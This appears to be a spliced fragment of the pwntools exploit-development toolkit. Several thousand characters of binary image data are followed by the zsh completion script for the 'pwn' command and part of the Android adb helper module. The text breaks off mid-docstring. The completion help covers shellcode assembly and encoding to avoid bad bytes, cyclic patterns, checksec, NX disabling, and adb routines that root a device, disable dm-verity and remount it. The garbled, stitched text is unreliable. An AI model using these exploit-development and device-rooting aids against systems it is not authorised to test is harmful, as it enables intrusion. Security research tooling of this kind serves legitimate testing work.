Ke]qIv .7+™ҎafkMV՘vv:GB!$h.!81=0)b6 G'\sr6"):nHIkO:*zDvxn!Xbj\(ZԮlZl(ҚUw/[NZ-$I^~=Wb|8!Уy&R){b;TT}}rMAǨm$]â("yX/E~"Rwӿ|̴1קϭ H5/G9*ZŐB-#~"OdPfE+Je^2GdbU.Ł)I6? #(#Gcs򹫺q\Ŗr,ڶsGABQ?nRhvhB;Ng@ V+}HI))".k<3S_LSr"otT;螛=|8RĬ/Iq"\[zss@5\:l*`B{E«P` ajَws#`Zj(X{֪rI xj |T?K)u{W++n:g쯶SqESvr[@]OuKz=<5 ΰPQYf%ũZ|. LW' Y+ zYo$b,̱&6v,к2;괚5lw7$UE2+!&M7ܞ X"9#^h IDAT!ĺm`BS mi[W}"]^M z/bU>eusʭ-1JWq"pBaiARyd\Us喋U]O,K _~)|ZXk\xk Dpҏz{Y]8|Kdꗍ6UVՕ4Ogo,j?lV6vi-βMtwhkqDh}Y{،~^ nu2FX;/D&BPK2~!w;=!E9RCk YRdo͉JIcb(7i9}YbaBugYuxd{e&!9V)kZ?IIh/O]E wギA%K,N YSf'8{wsFT,"%ꇔV@gcD zK{#BG }nSX #@h& id# ϊDT? $xIP l7qmdNG/"Okgھrqkgm9+aP?ㄷ YBJT;Yo.|b9wztMgI-"hCHKv,IheԈwɯ&QW: [ 7ؒP Tm.jҩvIWu99b 7o/fȯ٠rnP1yr,G,">BL@x&}}EA+r+2wٸ(ۅo9#ijv!Es_3;D'i$-ҔyoBY₞J+{Fr9&Aٮ+LbŶhv?"XF͋f}"jn2-q}3e 7Ʃ6|kMBx@dC%iJdڔ9 )RJ.)JX-OI Ō\L#X!(EEbUriQSzBۗ_.&tC^\Lx<ىCh`~p~k@bURaMypIQTY Rߐ /rGokB\PDW#7"֛P;V?{kLv6J$ѳ$ؿ#B EjwyVYzw7w[{75 9%9qRXO̕&*+[ms.mB$Ve'Yp|Wf$*BA,V49jĺU~YƂ4orʥ`!-M+TZfLJ]JT m_n Ғ@p`5G?B3tB|Z狍 0@5=Sdl,-ȉgSzL?(2Gn)XQZG[zOxyPF=☜ ԐQ7tˬ`;R4x`+䭫^T_:`YOsy~/}fE'z㲖Mܘ1j>kGQ9/÷!8X"g gp%7;߇Eb;ɇ1Zj^{&}?v*%7%ɮ=r?)K1mW~ٿg䮵>y–Iqcxyi͢@^]I|;=u"t.uqp89u`ѵWph:8r/T"N~y% ⌯ow8>U=vIy&CE~+-xkoV(/ť@AYfJ?~Q)IMݹs{Aw=^b*ʙS'@кv'5uhXWu`[qvuLv߸tʹpU:N|A|΋(ZX9ZeٓKcɱ7EHSGRV49Fܹi"\R6rw6j~u139`iK) XY(ol7H.vʼᅟ`epBLzh4OeXIRG{uO d{~yrwD8Pwʁ&g:la)ڻ#OSJ[9㌕sOU޺e[Vg Ӻ̼T~]ń${gԅ Hv}hr~.:uBIYΫhdb<)Gr&kSBLH}Y"=ZVBUMk).gdo|m1foU,*@oxs2Kn.0O<)Ś=JGRY;ߛ\0߉BiI==xut1L&' שDɵ|&.K1ZYYp .r2wgc61^şWS$Toq]~|+îyxpd}wnH8/Bۣk(C.)  #Orl6Do|g{6uդ@L{<|bus}|^FY% g$"z,s8I-5{z(>w7%,|E%zhPDsF`yuHF#FWc!ǭSm,4,|:-&Vpcz=- >p9YPSCshv9 ͭBE_X2@Y!'Z~HZ9fKms%12L,`dսZ* DJt1;yE<_BE|E-2E(R:_i.)A . HngHg>mVIСDY8iPܙdg:c9.Q5w?2S?΄=bkD('2&!ZIbO_?4XιAn}fޝGq]}RD> oll33;⽉xa<ņgz63q,@ tR:[}U>Hºu ٝDPWVUfeVe;<O #d*AGK&J  8t9T~w"_=Ʊ&`⟵•z-i pɱ#,C5\kBk7=PlrWV^_SYxRo ujZ|tF43Jj?^gZN_/"zα3vAs½" @Ҕy0&?LLӴ?7򙡝dKiC"#LKi O3Uz'Ae8{&H+}ivHpC6|O4EO+)JQ&8;kEQ4)L]7jӯ/*Q$oԷ[g~[}߾޽1n;,ĩ/:)%TLޚ*dbZtV7;&"'7^Mˢ oUyK 2cus QL96骵 Z5ӏw!e8Hztx Ö=dm𣵕ڢR44"Vm۹1aLֺ;#ycW3;.+4"r+?bz6A4Ϋu:uS Qq^ ,x"%v2H O,hgɞ:17gBF;P +ò ]l&-A7E|V*P=%ɯ p x7;}C}wCe;j_8TߗxZ*jk>\ͥJx툌uםyff:gm&rⵗ4p3;=kT9+YS-U^Jo'~kϳm45AV*5K='!XڟqlP56 -+YO[qbj_~hz ???^ &FM֕o E+?ŵr@ qxYQƛ@A 7h@A$Lg P/A S ) DA" a A0z HB@A$L^ P/A S ) DA" a A0z HB@A$L^ P/A S ) DA" aqu}J|rØԒ!Bq,c=Fxߝ5MVVt;`5y)Q*ܻjŃ+bf$D+ic3?Jvӓ{UWo"g')3H u9 \6s{sK(+Z>b5%KBy{Ve+Ba>(ؖw%]U)%ت+..-`#m+Y/ﭫj#QJFq7@xgm)lƞ!//Z>l訜D1ȅB>y -@iT2N !2'9M[2E&7jms6RӘ9(F+,` ,] Z\;m, X*FCcنxǾkY6bc魷>1 37mbÇ/sz=MdgAz 8,!?J:f9fiw{iӞ ISq##BCq%_=bq[KmIs4Mk־,wkgaB}ʞKSv<@?3GU>S^z*Zجes?NY|4kO ]]S\v/n[u+at D %0 c[߹%Y`,6 2vtׯ4X&-c'M‹~+yŚz߾Y p U~aR_|,?x\e1Ii6妔P*js  {F׹,A< >MX!AM2Z[)`Lܑv/mǎWb}~,jӞ؝ I:=}(3Zir[cvEԟ?o\^~tr[\kmǟݓ:hFޖk/ޗ߆cC>  {_%H^Z+H>p Ú4i+/zϿ촃f4 ➭b,K?Q |.CW%+1=ku]e% 9/>cJ|a{gH3q}#aהZ &p|݆w?W*w/zww${\WGՕ{}6N`XK!nnlh4Cʔd_nWuj?h"rSo'_F:>LQOjR`YnG]?6Tve.8 :Ά{,nmnȈ@f)ΊWl^Z:*(E ?:[$֞Sc=)b~z2n_:-3/&wUt?M?+\ܞ,y-LԦe>7'e|ZrkzHrfNEi7W<x_(0,("ЌpP#u;XwhXjW8U?8y¢ , %sĶh%_w/5#.uضMK߶9}}"ScmX \m𪧿c㎮|G;|Τ?Cs i'^*P޻)Y2mMZ]G?y9僬C՘6VT[#9Xo~nlݾ<}[;\(njitp3>l߻dcs)HO0zd,`Õ&* jAa6!n>gAH)?8~xvۂ|`;pvJNx8y|$&kuuC%9$fNdaۗ%Nl4'oO؋[^nj9u!VKc ׵}6?Q?< Nc&d#y7Gϭs[XF(O>bݩ-azԂ>lMr &p:#LSo(r};u%Z0}^V'=WmbY4D8Q2pM88`a翲V;UZy =8 Ey6qrAcf̦m'VO_H)r]?"͸QՙSo<?郛}wbaG^ai/-9IrȆ900(`i%E)ʐ/2 Κ!mqQfM"w닊t3[na߽֙o|owo ND K>q˧dʦjRu4%(%(ir+rrմ,*ֈ~Óy*>%ɏa9KՆg<;䡲/E*~K-5ֵc%GOvDۺ}<gms`UEnHùϮu,x{#o)-m8z*;Y[IZYZ3]-zXwއzz+{J^M)0Wz|@3>.aGkB+pm+ʲBfھg+$s:_Yhz:ݎk67՘o5B 7z*x ~/{FD|z5Gm_WQ ..3l<\7G>@JhIO=ͨjargs' # Flags for each subcommand case $state in args) case $words[1] in pwnstrip) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-b --build-id)'{-b,--build-id}'[Strip build ID]' \ '(-p --patch)'{-p,--patch}'=[Patch function]:' \ '(-o --output)'{-o,--output}'=[None]:' \ ;; asm) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \ '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes (provided as hex)]:' \ '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \ '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \ '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \ '(-e --encoder)'{-e,--encoder}'=[Specific encoder to use]:' \ '(-i --infile)'{-i,--infile}'=[Specify input file]:' \ '(-r --run)'{-r,--run}'[Run output]' \ ;; checksec) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '--file=[File to check (for compatibility with checksec.sh)]:' \ ;; constgrep) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-e --exact)'{-e,--exact}'[Do an exact match for a constant instead of searching for a regex]' \ '(-i --case-insensitive)'{-i,--case-insensitive}'[Search case insensitive]' \ '(-m --mask-mode)'{-m,--mask-mode}'[Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.]' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ ;; cyclic) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-a --alphabet)'{-a,--alphabet}'=[The alphabet to use in the cyclic pattern (defaults to all lower case letters)]:' \ '(-n --length)'{-n,--length}'=[Size of the unique subsequences (defaults to 4).]:' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ '(-l -o --offset --lookup)'{-l,-o,--offset,--lookup}'=[Do a lookup instead printing the alphabet]:' \ ;; debug) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '-x=[Execute GDB commands from this file.]:' \ '--pid=[PID to attach to]:' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ '--exec=[File to debug]:' \ '--process=[Name of the process to attach to (e.g. "bash")]:' \ '--sysroot=[GDB sysroot path]:' \ ;; disasm) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ '(-a --address)'{-a,--address}'=[Base address]:' \ '--color[Color output]' \ '--no-color[Disable color output]' \ ;; disablenx) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; elfdiff) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; elfpatch) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; errno) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; hex) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; phd) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-w --width)'{-w,--width}'=[Number of bytes per line.]:' \ '(-l --highlight)'{-l,--highlight}'=[Byte to highlight.]:' \ '(-s --skip)'{-s,--skip}'=[Skip this many initial bytes.]:' \ '(-c --count)'{-c,--count}'=[Only show this many bytes.]:' \ '(-o --offset)'{-o,--offset}'=[Addresses in left hand column starts at this address.]:' \ '--color=[Colorize the output. When "auto" output is colorized exactly when stdout is a TTY. Default is "auto".]:--color :(always never auto)' \ ;; scramble) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-f --format)'{-f,--format}'=[Output format (defaults to hex for ttys, otherwise raw)]:-f :(raw hex string elf)' \ '(-o --output)'{-o,--output}'=[Output file (defaults to stdout)]:' \ '(-c --context)'{-c,--context}'=[The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: \["16", "32", "64", "android", "baremetal", "cgc", "freebsd", "linux", "windows", "powerpc64", "aarch64", "powerpc", "sparc64", "mips64", "msp430", "alpha", "amd64", "sparc", "thumb", "cris", "i386", "ia64", "m68k", "mips", "s390", "none", "avr", "arm", "vax", "little", "big", "be", "eb", "le", "el"\]]:-c :(16 32 64 android baremetal cgc freebsd linux windows powerpc64 aarch64 powerpc sparc64 mips64 msp430 alpha amd64 sparc thumb cris i386 ia64 m68k mips s390 none avr arm vax little big be eb le el)' \ '(-p --alphanumeric)'{-p,--alphanumeric}'[Encode the shellcode with an alphanumeric encoder]' \ '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \ '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \ '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \ '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \ ;; shellcraft) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '(-? --show)'{-?,--show}'[Show shellcode documentation]' \ '(-o --out)'{-o,--out}'=[Output file (default: stdout)]:' \ '(-f --format)'{-f,--format}'=[Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string]:-f :(r raw s str string c h hex a asm assembly p i hexii e elf d escaped default)' \ '(-d --debug)'{-d,--debug}'[Debug the shellcode with GDB]' \ '(-b --before)'{-b,--before}'[Insert a debug trap before the code]' \ '(-a --after)'{-a,--after}'[Insert a debug trap after the code]' \ '(-v --avoid)'{-v,--avoid}'=[Encode the shellcode to avoid the listed bytes]:' \ '(-n --newline)'{-n,--newline}'[Encode the shellcode to avoid newlines]' \ '(-z --zero)'{-z,--zero}'[Encode the shellcode to avoid NULL bytes]' \ '(-r --run)'{-r,--run}'[Run output]' \ '--color[Color output]' \ '--no-color[Disable color output]' \ '--syscalls[List syscalls]' \ '--address=[Load address]:' \ '(-l --list)'{-l,--list}'[List available shellcodes, optionally provide a filter]' \ '(-s --shared)'{-s,--shared}'[Generated ELF is a shared library]' \ ;; template) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '--host=[Remote host / SSH server]:' \ '--port=[Remote port / SSH port]:' \ '--user=[SSH Username]:' \ '(--pass --password)'{--pass,--password}'=[SSH Password]:' \ '--path=[Remote path of file on SSH server]:' \ '--quiet[Less verbose template comments]' \ '--color=[Print the output in color]:--color :(never always auto)' \ ;; unhex) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; update) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ '--install[Install the update automatically.]' \ '--pre[Check for pre-releases.]' \ ;; version) _arguments \ '(-h --help)'{-h,--help}'[show this help message and exit]' \ ;; esac ;; esac } _pwnGallopsled-pwntools-3ad86ec/extra/zsh_completion/install.zsh000077500000000000000000000010721507273764500245610ustar00rootroot00000000000000#!/usr/bin/env zsh # Try to find a writable directory first, in reverse order for dir in "${(Oa)fpath[@]}"; do if [ -w "$dir" ]; then cp -f ${0:h}/_pwn "$dir" return fi done cat <>> adb.adb('get-serialno') b'emulator-5554\n' >>> adb.adb(['shell', 'uname']) # it is better to use adb.process b'Linux\n' """ if isinstance(argv, (bytes, six.text_type)): argv = [argv] log.debug("$ " + ' '.join(context.adb + argv)) # All "adb shell" incantations should go through adb.process() if argv[0] == 'shell': return process(argv[1:], *a, **kw).recvall() return tubes.process.process(context.adb + argv, *a, **kw).recvall() @context.quietfunc def devices(serial=None): """Returns a list of ``Device`` objects corresponding to the connected devices.""" with AdbClient() as c: lines = c.devices(long=True) result = [] for line in lines.splitlines(): # Skip the first 'List of devices attached' line, and the final empty line. if 'List of devices' in line or not line.strip(): continue device = AdbDevice.from_adb_output(line) if device.serial == serial: return device result.append(device) return tuple(result) def current_device(any=False): """Returns an ``AdbDevice`` instance for the currently-selected device (via ``context.device``). .. doctest:: :skipif: skip_android >>> device = adb.current_device(any=True) >>> device # doctest: +ELLIPSIS AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone..._...', model='...', device='...') >>> device.port 'emulator' """ all_devices = devices() for device in all_devices: if any or device == context.device: return device def with_device(f): @functools.wraps(f) def wrapper(*a,**kw): if not context.device: device = current_device(any=True) if device: log.warn_once('Automatically selecting device %s' % device) context.device = device if not context.device: log.error('No devices connected, cannot invoke %s.%s' % (f.__module__, f.__name__)) return f(*a,**kw) return wrapper @with_device def root(): """Restarts adbd as root. .. doctest:: :skipif: skip_android >>> adb.root() """ log.info("Enabling root on %s" % context.device) with context.quiet: with AdbClient() as c: reply = c.root() if 'already running as root' in reply: return elif not reply or 'restarting adbd as root' in reply: with context.quiet: wait_for_device() else: log.error("Could not run as root:\n%s" % reply) def no_emulator(f): @functools.wraps(f) def wrapper(*a,**kw): c = current_device() if c and c.port == 'emulator': log.error("Cannot invoke %s.%s on an emulator." % (f.__module__, f.__name__)) return f(*a,**kw) return wrapper @no_emulator @with_device def reboot(wait=True): """Reboots the device. """ log.info('Rebooting device %s' % context.device) with AdbClient() as c: c.reboot() if wait: wait_for_device() @no_emulator @with_device def reboot_bootloader(): """Reboots the device to the bootloader. """ log.info('Rebooting %s to bootloader' % context.device) with AdbClient() as c: c.reboot_bootloader() @with_device def uptime(): """uptime() -> float Returns: Uptime of the device, in seconds Example: .. doctest:: :skipif: skip_android >>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot True """ up, idle = map(float, read('/proc/uptime').split()) return up @with_device def boot_time(): """boot_time() -> int Returns: Boot time of the device, in Unix time, rounded to the nearest second. Example: .. doctest:: :skipif: skip_android >>> import time >>> adb.boot_time() < time.time() True """ for line in read('/proc/stat').splitlines(): name, value = line.split(None, 1) if name == b'btime': return int(value) class AdbDevice(Device): """Encapsulates information about a connected device. Example: .. doctest:: :skipif: skip_android >>> device = adb.wait_for_device() >>> device.arch 'amd64' >>> device.bits 64 >>> device.os 'android' >>> device.product # doctest: +ELLIPSIS 'sdk_...phone..._...' >>> device.serial 'emulator-5554' """ def __init__(self, serial, type, port=None, product='unknown', model='unknown', device='unknown', features=None, **kw): self.serial = serial self.type = type self.port = port self.product = product self.model = model.replace('_', ' ') self.device = device self.os = 'android' if product == 'unknown': return # Deferred fields self._initialized = False self._arch = None self._bits = None self._endian = None self._avd = None @property def arch(self): self.__do_deferred_initialization() return self._arch @property def avd(self): self.__do_deferred_initialization() return self._avd @property def bits(self): self.__do_deferred_initialization() return self._bits @property def endian(self): self.__do_deferred_initialization() return self._endian def __do_deferred_initialization(self): if self._initialized: return with context.local(device=self.serial): abi = getprop('ro.product.cpu.abi') context.clear() context.arch = str(abi) self._arch = context.arch self._bits = context.bits self._endian = context.endian if self.port == 'emulator': emulator, port = self.serial.split('-') port = int(port) try: with remote('localhost', port, level='error') as r: r.recvuntil('OK') r.recvline() # Rest of the line r.sendline('avd name') self.avd = r.recvline().strip() except: pass self._initialized = True def __str__(self): return self.serial def __repr__(self): fields = ['serial', 'type', 'port', 'product', 'model', 'device'] return '%s(%s)' % (self.__class__.__name__, ', '.join(('%s=%r' % (field, getattr(self, field)) for field in fields))) @staticmethod def from_adb_output(line): fields = line.split() """ Example output: ZX1G22LM7G device usb:336789504X product:shamu model:Nexus_6 device:shamu features:cmd,shell_v2 84B5T15A29020449 device usb:336855040X product:angler model:Nexus_6P device:angler 0062741b0e54b353 unauthorized usb:337641472X emulator-5554 offline emulator-5554 device product:sdk_phone_armv7 model:sdk_phone_armv7 device:generic """ fields = line.split() serial = fields[0] type = fields[1] kwargs = {} if serial.startswith('emulator-'): kwargs['port'] = 'emulator' for field in fields[2:]: k,v = field.split(':', 1) kwargs[k] = v return AdbDevice(serial, type, **kwargs) def __wrapped(self, function): """Wrapps a callable in a scope which selects the current device.""" @functools.wraps(function) def wrapper(*a, **kw): with context.local(device=self): return function(*a,**kw) return wrapper def __getattr__(self, name): """Provides scoped access to ``adb`` module propertise, in the context of this device. .. doctest:: :skipif: skip_android >>> property = 'ro.build.fingerprint' >>> device = adb.wait_for_device() >>> adb.getprop(property) == device.getprop(property) True """ if name.startswith('_'): raise AttributeError(name) with context.local(device=self): g = globals() if name not in g: raise AttributeError('%r object has no attribute %r' % (type(self).__name__,name)) value = g[name] if not hasattr(value, '__call__'): return value return self.__wrapped(value) @LocalContext def wait_for_device(kick=False): """Waits for a device to be connected. By default, waits for the currently-selected device (via ``context.device``). To wait for a specific device, set ``context.device``. To wait for *any* device, clear ``context.device``. Return: An ``AdbDevice`` instance for the device. Examples: .. doctest:: :skipif: skip_android >>> device = adb.wait_for_device() """ with log.waitfor("Waiting for device to come online") as w: with AdbClient() as c: if kick: try: c.reconnect() except Exception: pass serial = '' if context.device: serial = str(context.device) with AdbClient() as c: c.wait_for_device(serial) for device in devices(): if context.device == device: return device if not serial: break else: log.error("Could not find any devices") with context.local(device=device): # There may be multiple devices, so context.device is # insufficient. Pick the first device reported. w.success('%s (%s %s %s)' % (device, product(), build(), _build_date())) return context.device @with_device def disable_verity(): """Disables dm-verity on the device.""" with log.waitfor("Disabling dm-verity on %s" % context.device): root() with AdbClient() as c: reply = c.disable_verity() if 'Verity already disabled' in reply: return elif 'Now reboot your device' in reply: reboot(wait=True) elif '0006closed' in reply: return # Emulator doesnt support Verity? else: log.error("Could not disable verity:\n%s" % reply) @with_device def remount(): """Remounts the filesystem as writable.""" with log.waitfor("Remounting filesystem on %s" % context.device): disable_verity() root() with AdbClient() as c: reply = c.remount() if 'remount succeeded' not in reply: log.error("Could not remount filesystem:\n%s" % reply) @with_device def unroot(): """Restarts adbd as AID_SHELL.""" log.info("Unrooting %s" % context.device) with context.quiet: with AdbClient() as c: reply = c.unroot() if '0006closed' == reply: return # Emulator doesnt care if 'restarting adbd as non root' not in reply: log.error("Could not unroot:\n%s" % reply) def _create_adb_push_pull_callback(w): def callback(filename, data, size, chunk, chunk_size): have = len(data) + len(chunk) if size == 0: size = '???' percent = '???' else: percent = int(100 * have // size) size = misc.size(size) have = misc.size(have) w.status('%s/%s (%s%%)' % (have, size, percent)) return True return callback @with_device def pull(remote_path, local_path=None): """Download a file from the device. Arguments: remote_path(str): Path or directory of the file on the device. local_path(str): Path to save the file to. Uses the file's name by default. Return: The contents of the file. Example: .. doctest:: :skipif: skip_android >>> _=adb.pull('/proc/version', './proc-version') >>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS Linux version ... """ if local_path is None: local_path = os.path.basename(remote_path) msg = "Pulling %r to %r" % (remote_path, local_path) if log.isEnabledFor(logging.DEBUG): msg += ' (%s)' % context.device with log.waitfor(msg) as w: data = read(remote_path, callback=_create_adb_push_pull_callback(w)) misc.write(local_path, data) return data @with_device def push(local_path, remote_path): """Upload a file to the device. Arguments: local_path(str): Path to the local file to push. remote_path(str): Path or directory to store the file on the device. Returns: Remote path of the file. Example: .. doctest:: :skipif: skip_android >>> write('./filename', 'contents') >>> adb.push('./filename', '/data/local/tmp') '/data/local/tmp/filename' >>> adb.read('/data/local/tmp/filename') b'contents' >>> adb.push('./filename', '/does/not/exist') Traceback (most recent call last): ... PwnlibException: Could not stat '/does/not/exist' """ msg = "Pushing %r to %r" % (local_path, remote_path) remote_filename = os.path.basename(local_path) if log.isEnabledFor(logging.DEBUG): msg += ' (%s)' % context.device with log.waitfor(msg) as w: with AdbClient() as c: # We need to discover whether remote_path is a directory or not. # If we cannot stat the full path, assume it's a path-plus-filename, # where the filename does not exist. stat_ = c.stat(remote_path) if not stat_: remote_filename = os.path.basename(remote_path) remote_path = os.path.dirname(remote_path) stat_ = c.stat(remote_path) # If we can't find the exact path, or its parent directory, bail! if not stat_: log.error('Could not stat %r' % remote_path) # If we found the parent directory, append the filename mode = stat_['mode'] if stat.S_ISDIR(mode): remote_path = os.path.join(remote_path, remote_filename) c.write(remote_path, misc.read(local_path), callback=_create_adb_push_pull_callback(w)) return remote_path @context.quietfunc @with_device def read(path, target=None, callback=None): """Download a file from the device, and extract its contents. Arguments: path(str): Path to the file on the device. target(str): Optional, location to store the file. Uses a temporary file by default. callback(callable): See the documentation for ``adb.protocol.AdbClient.read``. Examples: .. doctest:: :skipif: skip_android >>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS Linux version ... >>> adb.read('/does/not/exist') Traceback (most recent call last): ... PwnlibException: Could not stat '/does/not/exist' """ with AdbClient() as c: stat = c.stat(path) if not stat: log.error('Could not stat %r' % path) data = c.read(path, stat['size'], callback=callback) if target: misc.write(target, data) return data @context.quietfunc @with_device def write(path, data=b''): """Create a file on the device with the provided contents. Arguments: path(str): Path to the file on the device data(str): Contents to store in the file Examples: .. doctest:: :skipif: skip_android >>> adb.write('/dev/null', b'data') >>> adb.write('/data/local/tmp/') """ with tempfile.NamedTemporaryFile() as temp: misc.write(temp.name, data) push(temp.name, path) @context.quietfunc @with_device def mkdir(path): """Create a directory on the target device. Note: Silently succeeds if the directory already exists. Arguments: path(str): Directory to create. Examples: .. doctest:: :skipif: skip_android >>> adb.mkdir('/') >>> path = '/data/local/tmp/mkdir_test' >>> adb.exists(path) False >>> adb.mkdir(path) >>> adb.exists(path) True >>> adb.mkdir('/init') Traceback (most recent call last): ... PwnlibException: mkdir failed for /init, File exists """ if not path.startswith('/'): log.error("Must provide an absolute path: %r" % path) with AdbClient() as c: st = c.stat(path) # Don't re-create existing directories if st and stat.S_ISDIR(st['mode']): return result = process(['mkdir', path]).recvall() # Any output at all is an error if result: log.error(result.rstrip().decode('utf-8')) @context.quietfunc @with_device def makedirs(path): """Create a directory and all parent directories on the target device. Note: Silently succeeds if the directory already exists. Examples: .. doctest:: :skipif: skip_android >>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy') >>> adb.listdir('/data/local/tmp/this/is/a/directory') ['hierarchy'] """ if path != '/': makedirs(os.path.dirname(path)) mkdir(path) @context.quietfunc @with_device def exists(path): """Return :const:`True` if ``path`` exists on the target device. Examples: .. doctest:: :skipif: skip_android >>> adb.exists('/') True >>> adb.exists('/etc/hosts') True >>> adb.exists('/does/not/exist') False """ with AdbClient() as c: return bool(c.stat(path)) @context.quietfunc @with_device def isdir(path): """Return :const:`True` if ``path`` is a on the target device. Examples: .. doctest:: :skipif: skip_android >>> adb.isdir('/') True >>> adb.isdir('/init') False >>> adb.isdir('/does/not/exist') False """ with AdbClient() as c: st = c.stat(path) return bool(st and stat.S_ISDIR(st['mode'])) @context.quietfunc @with_device def unlink(path, recursive=False): """Unlinks a file or directory on the target device. Examples: .. doctest:: :skipif: skip_android >>> adb.unlink("/does/not/exist") Traceback (most recent call last): ... PwnlibException: Could not unlink '/does/not/exist': Does not exist >>> filename = '/data/local/tmp/unlink-test' >>> adb.write(filename, 'hello') >>> adb.exists(filename) True >>> adb.unlink(filename) >>> adb.exists(filename) False >>> adb.mkdir(filename) >>> adb.write(filename + '/contents', 'hello') >>> adb.unlink(filename) Traceback (most recent call last): ... PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test' without recursive=True >>> adb.unlink(filename, recursive=True) >>> adb.exists(filename) False """ with AdbClient() as c: st = c.stat(path) if not st: log.error("Could not unlink %r: Does not exist" % path) # If the directory is not empty, do not delete it if isdir(path) and c.list(path) and not recursive: log.error("Cannot delete non-empty directory %r without recursive=True" % path) flags = '-rf' if recursive else '-f' output = c.execute(['rm', flags, path]).recvall() if output: log.error(output.decode('utf-8')) @with_device def process(argv, *a, **kw): """Execute a process on the device. See :class:`pwnlib.tubes.process.process` documentation for more info. Returns: A :class:`pwnlib.tubes.process.process` tube. Examples: .. doctest:: :skipif: skip_android >>> 